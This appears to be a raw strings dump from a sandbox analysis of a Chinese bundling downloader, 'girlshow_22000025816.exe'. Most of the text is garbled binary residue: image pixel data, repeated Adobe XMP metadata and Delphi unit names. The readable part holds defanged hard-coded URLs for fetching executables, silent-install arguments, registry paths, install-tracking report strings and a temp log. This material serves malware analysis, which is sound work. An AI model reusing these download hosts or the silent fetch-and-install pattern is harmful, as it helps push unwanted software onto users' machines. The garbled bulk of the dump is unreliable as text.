iY!hZ!hX"gV%hV%gV$fV$fW#fW#gW$gX$eX!gX!gX"gX#gY$fX$eU$gV$fW$eX"fY!dV!aU%`T']R'[T%\R&\P&[M%ZK%UJ#QI"PH"PG"PG#MG#NF#LF"MF"MF"KE"KE#JC%JB$JA%JA$JB$JA$JA$JA$IA$JA%KA%LC&KB%LD%MD%MD$NE%OE$PG'RJ(VM'VO%WR$XQ'ZP*\R aY c]*f_)g`)kf nm rq.vu1|y4

tw|tuztqyqpyqovpmuoltnjsmhqngqmfnmgllfjlfijfjifiheghcfhcggbfgbggchgbgf`gf`hgahf`gd_gc_ec`ee`de^ce^ce_be^cc_cc_bcbbaa``^__^`_^a_^`^^`]^`]^`]`a\bb^_b]_c^`d^_d[`e\af]^d[_eZ_eY^eXi\!i\#j\$j\$j\&l](m](n]'o_(o^)n`)na)l^(na)n_*l]*k](k]&k^%j^$i^%h[&fX'dV)aW*]U)\S&^R&ZP'ZN&ZM$YM$WK%TI%TH$SI$QG#RH$QG"PG#PG%OF$NF%OF&NF&NF&OE&OE&OF$PF$RG%QF%RG$SH%UK'TJ&UL%VM&XP(ZQ)\R)^V)^Y'`Z)c_)c`*fb.id2kh3om2to3wq5{u9~y;

wu~wt|tt|urztrytpwrpvpnuolupjspjpphnnfnmgpmiolglkfklejkchjehjdhjdhhdhhdhhcigbgfdggbgeahebjfcgfbfe`ee_dcaedbdeaaa`__`^`__``a``b^`a]_b^`d^be^cf_ag_ag_bg]dg^bh^ci_ah^bh^dh^cg]ma&na&nc'nc)pe qd,sc td,ue-uf-sf sd qc ob ob o`*na*ma&k^$h]&g]*fZ,dV bV*_U(^T']Q'[O'YN&YN&XM$YL%XK&WJ%VH$VH$VI$WK%UI&SG&SG'RI(SH(UH(TI'TJ&TI(TJ&UL'WN(XM'WM&YP%[R&\R(^S)`T)aW f].f_/g`.hc-ke/mg1oi2rm4so5wt8xw<|z?

yw~yv~xu}wt|vszusytpyqpwrournsqkrpiqpgppgopgongoogmoflnelnfloflmfkleikdikdgiehidghdhhdjighhejgakfbjechecfe`cb_a_ac``c``aa`aa_a``ca`caafacf`cfadg`di_fkadk_el`ek_fk`gk`gjatg tg,tj.th-vj/vk/ui.vi.uf.uf/ug.ue-sc,qd*ob(ob)m`)i])g](f[*eX*eW)aV)^U(^S(^Q(ZO'XM%YL$XK$WI$VI$VJ$XJ$VH$XJ&XJ%VJ'UJ(UI'UI'VJ(VK(VL(WM(WN(VN)WO)ZP*[Q*[Q [S)\T(`V*cW.eY/h]/i_0ka0ld1me1qg4uk8wo:xr;{u<|w<~z@

zv}vt{vrztpxsqxtpwsovsmuqktpjtpirohpohongnngmngloglpfmpcmnelneknelmckldjleildgkfglehibgfcihdhgdfecedbebbhbbibbgbbfbaeaceacedcfcehcfhdghcgjcglcflbfkbekbglahkbgkcxl1yn3{p0yp.yn0yn2ym2xj0ud/ra/sa0rb-rb*na(l^)j_ f] fZ,fY dW*aU(aU(]S(\Q&[O'ZN'XK$XK$WJ#VI#VH$VH%SH$TI&UG'TH(VI'UI(SJ(TK(UK*TK(UM(VN)WN)VO*YO [P \Q ]Q ]S*^U*aW,eZ.h\/g_0ic1jc3lc4oe2qg3sj4wk8ym<zr<{s=|s=}u?

{x~zuzxsxxrwxqvvouumvtlusluqltqispiqohqogrohonhmohmnhloglpfkphmngnnelmeklekmfkmejmehlefkcfjcghbefccddgfdifdgecgebfdbfddgefhfehefieggfgheijegiegifikghkfjmdjkehldyo2zp3yo1xn/yo1xm1xj0vf/ra-ra.pa p_(n]'j\*i[,fY)eX*fV*dS)_S(\R'\O&\N%]O&[M%YM%YL$WI$VI#VI#VH$WH%UH(SH'TI&UH&UG(UJ(UK(VL(VK)VL)UL(VN*XO YO*[P \Q*^R*^S*_U*bW,eY-g[,h\.i`1ic3jd4oe3qe3pe3sg4th7uh8vh8vi9xi9zk9zm:xm:{o>~rA}qB|qC~rE

|x~|w|{vz{tyzrxypuvmutnssnstlpskqsjqqeppdnneoogmpfmphmoimogmohmnhlohknglmgllglofkneklfjneilbijbghcehdfhdffddfebgdcgdegeghghffhggggeggfhgefegeeigfiggigfigghfgihgwi1wi0vh1ti0th0sg/qc-qa,qa*p_(n])l]*j\ k],hY*fV'fU)eU)aS'^R%]P&\O&[N&[M&]N'[O%YQ$YN%XL%WK$WJ%XJ&XJ&WI&VJ&WI%VJ&WJ'XK'XL'ZN'[O&ZP&YP&]S(_T)`U)`V)bX*bY*dZ f[ e\,e[,h^.k`1ka3lc1nd0oc1pd1sd4qc5pd5re5sd5sc4sd2vf6wg<vh>vh>wh?ug=vg;vj8vl7tk6sk7tj7tm7sm7sk7sk9tl:sl9tl;vm;xm:xo;wp={r@|s@}u@{t@|u@~xA

x}~v{~v{}sz{pzyrxypvwnuuotvntvjsuhpthqthqshpsgpqhqqhqrhqshqphpohpohpniooinofmlelmeklcilbijaijbhjcgidhgdehccicehdeicdhdcfcegcfgdegcdfcdfcefcceccecdfdcgdago`-o_.p_/p_.o`-o`,n_(o^(n^(l] l].j]-j]-k].h[ fY(fY*fY*dV(bV'bV'aT'_T'_T&]R&]S$]T$^S%]Q&\P&ZO&[O'[O&[O%\O&\P&]R%\R%^T&`U%bU%cV$bX%dY%g\(g\)h\)l_ ka i` i` i`,j`-lb/lb.nc/pg/rg/sh0pg0qf1rg3qg2tg3qe2se4ug5uh8vg:yi>wh<vh;wj<xl:wn8xp8yq:yq;yq9yq7yt8yu8zv6}y7

u{|t{ztzzpyynyzoyyoxxmwwnwxlvxmuvnuvkuujvukuukvtiurhsohqnhpofnmekkcijbhjahjbhjbhj`fhafiafj`dj^cj^aj`_i__h_^h_^h^`h]`h]ag\ag]`g^ag^bf^aehX)hV*iV jW jX)iZ'iZ'iY(gZ*h\ i\,h\,i],i\/i] f])f\)g\*g\)g[)f\)f\)fZ(dY'dZ&dY(dX(dX'dW'dW'eZ'eY(dX&e[&f\&h\&i^&j_&jb(lc*oe qf*rg tj vk.wk.xm/yp/xo.ul/xm0yo/yq0zr2zq3zr4}s4}t4}s4{r4{q3|r4|q2|r2}s6}r9|s9

ir~is~ir~hq}go}fo}fp|fn{em{cn{amzal{\jxYhtYiuXitVfrUcrVdqVcoUdpTcpRapRbnPbmOblPclObmP`lQ`kP`iP_iQ^iQ]jP\jO\jP[jP]kP^kQ\jLE$MF&NF%NG%PE&QG&RI%TI%TI%XL&YN(YO(]Q)\T)^T)dY)f[)g\*j_.ka mc*pd.qd1tg3xn5zs8

gs|eq|fp}go~en~en~en{cnzcn|bm{`lzbm{am|_lz^kz]jzZgwYivYiwYgwWeuVerTeqVdsTbsQbqSbqTbqSarQbqOanO`nN_nOamPcmOalN_kO`mN_lN^kP]kO]kO^lO^lME'OF(PG%NF$OF%PF&QG%SI'UI&VJ%WL'XN(\Q)^S(^U)bX*fZ fZ i]-k`,lc(pc-se2ui3yn6|r9

uR~tS}sU|qTxnRwlQxjOuiNrfNpcNn_Nn`Nl`Ml_Lj`Kh_Jh]Jh]Ii\Hf[GeYEeYEeYEdYFfYGfYGeXGdWFeXEg\Fh_Hg`GicHibGjcGmeIniHokJtnMxqO|rQ~uR

]l|[l|]l|[izYhyZhxYgxWfwVduUdtTfuVgvVfvVfwVewWfwXgvXgwWfwWevUduTeuTewSdvTduTcsTcrTcqTdoSepRepSeoTenOF'PG'QH'QI(RH'TJ(SK)TH'XJ&YM&[N(\O)]P*`T-_S-`U bV*eV fZ*h^ j_-ma.oa0qb2sf4uh5uh5vk6xl9xk;xj<zk;yj;yk;wi=ve?td@tc@tb@q_>p]?o]?lZ?l[=k\;iZ:hX9gV8gU9gW;fV;cW=cW?cT@aR>aT<aU:aW:`V;]U:^T:_U:^U:^T9]R:ZP:ZO9[O9\P9ZO8ZO9ZO;ZO?ZNAXN@WO@WO>VO<UM;VL<VJ<TH>SJ?RJ<SK=SM>PK=PK>PK>NK>OK?OK?NK?MJ@NJAOJ@PJ?OJ?OJ?PJ>QL@SOCUSBWUCYUD[UD\XF_\Fc_FhcHlfKomLrsKxvN~{T

Sh~Rh~Sf~Pf|Pe{Qh|Ri|Si|WgzYgyYhzYgyYhzYizYiz[jz\j{]jz_j{^k{_l{^n|]nz[mw]ly^lx^jx]jv\kuWJ(UJ'UJ'VJ'XK([M([M'[L)\O*\N*[M*^Q,^Q,^S,_T,`U,bV-eW.gX/h[/gZ.h[2j\3j]3l]4k[6j[6j[5fY4fZ3dW2dV5dV6bT5bR4`R3`R3_Q4\O4[N2ZN3XK1VJ.UG/UH/WJ1UI3UI5SH4RF4PE5OE3LF0KH0MI3JH4HG3JG3IH4HG3GF2FE2GF4HF5GF4HF5HG7GH:GG;FF;FF:GF:FE:EE;ED<DB<EA=CA?CC@AF>?F=AF=@F=?E>?E=?F<?E<?F=AF>CF@CD@DC@EE>GD<GF>GH?IJAJLCLNCPOCTPCURCYVF]ZFb_FfdFjgHroNwtPyyP

Od~Od~Sc|Vd{We|Vf|Vg}Wg~Xh~Yi}Yi}\j}]i|^k}_l}^l}_m~`l}`m}`o{`oz`rx`rx]Q'\P(\P)\P(]Q(`R*_Q*^Q _S _S `S,`T.aT.aT/bU0dU2eW1eW0gW1gX0gX/gX1hX1gY0fX1eW4cV2cV1aS0`S1`U0`S0_R2^R0]Q0]P1ZN1XM1XM1UJ.VL0VL/SI-VI1VI1SH4QG4PG3OG3MF1LG2IH4IJ4IH4HG3FG3FG3FF3FG3EG2EF2DC3DC4BC4AC6BD7BD;@C<@B;?C;?C:>B9?B:=@;<=<=@==A=<B=;C=;D=;B=;B<;B<;B==C<=D;>C;>C>@B@CB?EB?DB?DE?GH@HJCHKBKMCOODQOCSRCXXD\[Gb_IhfJmmIrrJwuN{zP

Te~Ug}Wf|[i}Zi}Zi|[j}\j}]j|^k}_l|`m{_nybZ)b\*bX*dZ dY,cW.dV.eW.dV.dU/eV0fW/fX/gX1hZ6i[5h[2hY3hZ2hZ/hZ/gX0fW1eW0dX1cW1bT0bT1`S0`T1^U0_U0^R0\N0ZN0YM/WM/XL0XM1WL0UK0VL2VJ3TI4RG4QF4QG4QG2NG1MH0LI3II5JI5GG5EG3FG2EF2CF2BE2BE0AD1AB5@B5>B7?C:?C:=B99?99@:8?:8>:9<;9<;8=;9?<8?:8?:8@:8?:9?<8>;8?;8?;9@>:B>>C=?B>>A>@B?DB?DE@FHAIJBJMCMNCPPCSRBVUB[YC^^EcaIieMmmLqsLuvPzzQ

!iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:04710A40C89111E4A7ECD3EA728D970F" xmpMM:DocumentID="xmp.did:04710A41C89111E4A7ECD3EA728D970F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:04710A3EC89111E4A7ECD3EA728D970F" stRef:documentID="xmp.did:04710A3FC89111E4A7ECD3EA728D970F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

%Sc9!

.HN:@

Y[FJ%-.-I}b}a

Fz.ss

.OzV(h

Y;-.nX

-p}L%l

%%cUf

.DyER

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:CEF0A679C88711E48B90CB23D48F2660" xmpMM:DocumentID="xmp.did:CEF0A67AC88711E48B90CB23D48F2660"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CEF0A677C88711E48B90CB23D48F2660" stRef:documentID="xmp.did:CEF0A678C88711E48B90CB23D48F2660"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

~ˆ88.lp

5u

zßk

url&|

6&.ZYn

>.GbbbUt

I[.rk

I\J%F:

IKLz%s

3%uZ,

$1!.JT

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:D9B99DCEC89E11E49026EA637C8E9E9D" xmpMM:DocumentID="xmp.did:D9B99DCFC89E11E49026EA637C8E9E9D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D9B99DCCC89E11E49026EA637C8E9E9D" stRef:documentID="xmp.did:D9B99DCDC89E11E49026EA637C8E9E9D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>w

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:DED81DBFC89E11E49DF4C29081A8A4DF" xmpMM:DocumentID="xmp.did:DED81DC0C89E11E49DF4C29081A8A4DF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DED81DBDC89E11E49DF4C29081A8A4DF" stRef:documentID="xmp.did:DED81DBEC89E11E49DF4C29081A8A4DF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

Winapi.TlHelp32

Winapi.Windows

System.UITypes

System.Types

%System.Classes

dSystem.SysConst

System.RTLConsts

,System.Character

System.SysUtils

ISystem.Internal.ExcUtils

kWinapi.PsAPI

Winapi.SHFolder

-Winapi.ImageHlp

System.TypInfo

System.Variants

System.VarUtils

Winapi.ActiveX

Winapi.Messages

&System.DateUtils

System.Generics.Defaults

System.Generics.Collections

System.SyncObjs

System.Math

System.Diagnostics

System.TimeSpan

YSystem.AnsiStrings

System.StrUtils

IdStackWindows

System.WideStrUtils

Winapi.Dlgs

Winapi.RichEdit

8Vcl.ToolWin

Vcl.Graphics

yVcl.Consts

'System.UIConsts

System.Win.Registry

System.IniFiles

iSystem.IOUtils

System.Masks

Winapi.Wincodec

eVcl.Forms

Vcl.ImgList

Vcl.Themes

RVcl.Dialogs

System.HelpIntfs

NSystem.Contnrs

Winapi.MultiMon

CVcl.ExtCtrls

Winapi.CommCtrl

Winapi.Dwmapi

Winapi.UxTheme

Winapi.ShellAPI

Winapi.IpExport

Winapi.Winsock2

Winapi.Qos

Vcl.GraphUtil

System.ZLib

System.Win.Crtl

Vcl.StdCtrls

Vcl.ActnList

Vcl.Controls

Winapi.TpcShrd

:Winapi.Imm

(Vcl.Menus

Vcl.ComCtrls

Winapi.CommDlg

Winapi.ShlObj

Winapi.msxml

System.Win.ComObj

System.Win.ComConst

Winapi.StructuredQueryCondition

Winapi.PropSys

Winapi.ObjectArray

hWinapi.UrlMon

Winapi.WinInet

4Winapi.RegStr

Vcl.StdActns

jVcl.Clipbrd

WVcl.ComStrs

bVcl.Printers

Winapi.WinSpool

Vcl.ListActns

Winapi.FlatSB

Winapi.DirectDraw

Winapi.GDIPAPI

Winapi.GDIPOBJ

Soap.EncdDecd

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

Picture.Data

72701-/%

3355555522

K1.WF

*%D<JP

0Pn.DX

.sF_?

%D;::"

crtp

#msg.

eUE].Iz

#.GcZI

2M1%x>

]m.iv[

-D.mmSZ

Dr[%D

.dEu(~

@.eZ;N

y6%S5-

6-U}`

.fkjmM

Items.Strings

04/21/15 02:54:132696

1, 0, 0, 1

Client.EXE

iexplore.exe_1632:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

girlshow_22000025816.exe_2024:

.text

`.rdata

@.data

.rsrc

t.Ht4

.\ConfigDlg.cpp

ServiceClient.dll

ServiceClient.exe

Player\DefCamSetup.dll

CamerDll:%s

dbghelp.dll

%sddd_ddd.dmp

CGuaGuaMsgBoxDlg

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

.\ImageMgr.cpp

Resource%d

FirstImage %s

LastImage %s

Image%d

%c:\Program Files\

.\ProductInfoMgr.cpp

GetAllProductInfo %d

hXXp://downloader.re58.cn/downcontainer/downLoad.do

log\1.xml

hXXp://downloader.re58.cn/downcontainer/downLoadInfo.do

%s?id=%s&oemID=%d&recid=%I64d

%s?oemID=%d&recid=%I64d

log\2.xml

installUrl

installUrl2

licenseUrl

LoadConfig %d

App GetProductInfo(%s) Error %d

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/caihong.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://VVV.%s.com

hXXp://cj.%s.com/downloader/

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

GuaGua\GuaGua.exe

Dance\ChatHall.exe

hXXp://cj.guagua.cn/downloader/

ChatHall.exe

UpdateConfig Success%d

hXXp://download.re58.cn

LoadCookie %d

LoadCookie: RecommendStr=%s

%d:%I64d:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

HMAFROMURL

UpdateConfig: SourceUrl=%s

UpdateConfig: WebID=%s

G1.0.0

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

rec_type:%d,

rec_ad:%d,

src_url:%s,

web_id:%s,

.\ReptThread.cpp

Rept %s Result [%d, %d]

%slog\ddd ddd.log

.\SetupTool.cpp

CSetupToolApp %d

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer() Success

.\SetupToolDlg.cpp

OnCmdStart() m_bPinTaskbar=%d

OnCmdStart() strPorductName=%s

State=%d,runafterinstall=%d

OnCmdStart() StartClient=%d

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

Launch InstallProgram: %s %s

CSetupToolDlg::LaunchInstallProgram() path=%s Fail

State=%d

nCount=%d,currentImage=%d

Call LaunchGuaGua(%s)

CSetupToolDlg::LaunchGuaGua() path=%s Fail

Exec %s [%d]

-%%

\DownLoader\OnlineSetupV2\Common\Path.cpp

ExecApp %s %s [%d]

[%d, %d]: %s

\DownLoader\OnlineSetupV2\Common\ColorCheckButton.cpp

Checked %d

\DownLoader\OnlineSetupV2\Common\BitmapFile.cpp

CBitmapFile::Open(%s)

\DownLoader\OnlineSetupV2\Common\DownloadManager.cpp

InternalDownloadFile() break=%d

SupportBreakDownload

Begin SupportBreakDownload

End SupportBreakDownload bThreadFinish=%d

\DownLoader\OnlineSetupV2\Common\DownloadThread.cpp

Begin OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute Receive nId=%d

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

\DownLoader\OnlineSetupV2\Common\HttpClass.cpp

CHttpClass SetOption

CHttpClass SetOption Finish

GetHttpFile(%s, %s) error: [%d,%d]%s

SendHttpMsg %d

SendHttpMsg %d %s

SendHttpMsg(%s) error: [%d,%d]%s

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

PostHttpMsg(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

\DownLoader\OnlineSetupV2\Common\OutputFile.cpp

%s, %d

%s, length = %I64d err = %d

COutputFile::WriteData(%I64d, %d)

d:d:d:d

File: %s

Line:%d

Cond: ASSERT( %s );

Condition: ASSERT( %s );

SourceFile: %s

LineNum: %d

COMCTL32.DLL

hhctrl.ocx

commctrl_DragListMsg

CCmdTarget

CNotSupportedException

ntdll.dll

kernel32.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

%s.dll

CHttpConnection

CHttpFile

hXXp://

WININET.DLL

HTTP/1.0

MSWHEEL_ROLLMSG

user32.dll

ole32.dll

mscoree.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

OLEACC.dll

d:\DownLoader\OnlineSetupV2\GirlsShow_together_select\SmallStationRelease\SetupTool.pdb

GetCPInfo

KERNEL32.dll

CreateDialogIndirectParamA

GetKeyState

UnhookWindowsHookEx

SetWindowsHookExA

USER32.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GDI32.dll

comdlg32.dll

WINSPOOL.DRV

RegCloseKey

RegOpenKeyExA

RegEnumKeyExA

RegOpenKeyA

RegDeleteKeyA

RegEnumKeyA

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

ShellExecuteExA

SHELL32.dll

COMCTL32.dll

UrlUnescapeA

SHLWAPI.dll

oledlg.dll

OLEAUT32.dll

InternetCrackUrlA

InternetCanonicalizeUrlA

HttpAddRequestHeadersA

HttpQueryInfoA

HttpSendRequestA

HttpOpenRequestA

WININET.dll

GdipSetImageAttributesColorKeys

GdiplusShutdown

gdiplus.dll

WS2_32.dll

.PAVCObject@@

.PAVCException@@

.PAVCINETException@@

.PAVCInternetException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCSimpleException@@

.PAVCResourceException@@

.PAVCOleException@@

.PAVCMemoryException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.PAVCArchiveException@@

.PAVCFileException@@

.PAVCOleDispatchException@@

zcÁ

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\log\20150427 014833.log

01:49:52:545 Rept hXXp://cj.pingguo55.com/downloader/installcomplete?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393&dltime=65437&insttime=6672&homepage=1&recinst=0 Result [1, 200]

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\girlshow_22000025816.exe

fiTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4A9DE8C7AE25E311A40C95EC787055CB" xmpMM:DocumentID="xmp.did:F79F466655B011E395BD8AF0F801F07C" xmpMM:InstanceID="xmp.iid:F79F466555B011E395BD8AF0F801F07C" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AE37B4D57534E3118C52C8EE7ED8F6B4" stRef:documentID="xmp.did:4A9DE8C7AE25E311A40C95EC787055CB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

..pV3

l.CG 

!%dZG

R/.XR

-.JA<S

"iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:F3812802332311E3BCF3DE7710CBD893" xmpMM:DocumentID="xmp.did:F3812803332311E3BCF3DE7710CBD893"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F3812800332311E3BCF3DE7710CBD893" stRef:documentID="xmp.did:F3812801332311E3BCF3DE7710CBD893"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

B.iM4ZT@

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:DDABFFFB332311E39115E513001D1F6B" xmpMM:DocumentID="xmp.did:DDABFFFC332311E39115E513001D1F6B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DDABFFF9332311E39115E513001D1F6B" stRef:documentID="xmp.did:DDABFFFA332311E39115E513001D1F6B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

A%XS=M

.gW]X

Z.Is&

